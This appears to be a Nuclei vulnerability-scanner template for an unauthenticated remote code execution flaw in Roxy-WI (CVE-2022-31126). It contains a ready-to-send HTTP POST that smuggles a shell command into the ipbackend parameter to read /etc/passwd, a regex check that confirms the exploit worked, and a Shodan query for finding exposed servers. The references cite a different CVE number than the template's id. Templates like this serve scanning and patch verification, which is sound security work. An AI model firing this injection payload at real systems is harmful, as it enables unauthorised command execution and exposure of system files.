id: CVE-2022-31126

info:
  name: Roxy-WI - Unauthenticated Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    Roxy-WI versions before 6.1.1.0 are vulnerable to a remote code execution vulnerability. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/options.py file. Attackers need not be authenticated to exploit this vulnerability.
  reference:
    - http://packetstormsecurity.com/files/167805/Roxy-WI-Remote-Command-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31137
    - https://www.cve.org/CVERecord?id=CVE-2022-31137
    - https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-mh86-878h-43c9
  remediation: Users are advised to upgrade to latest version.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31126
    cwe-id: CWE-74
  metadata:
    shodan-query: http.html:"Roxy-WI"
    verified: "true"
  tags: cve,cve2022,rce,unauth,roxy

requests:
  - raw:
      - |
        POST /app/options.py HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/app/login.py

        alert_consumer=1&serv=127.0.0.1&ipbackend=";cat+/etc/passwd+##&backend_server=127.0.0.1

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200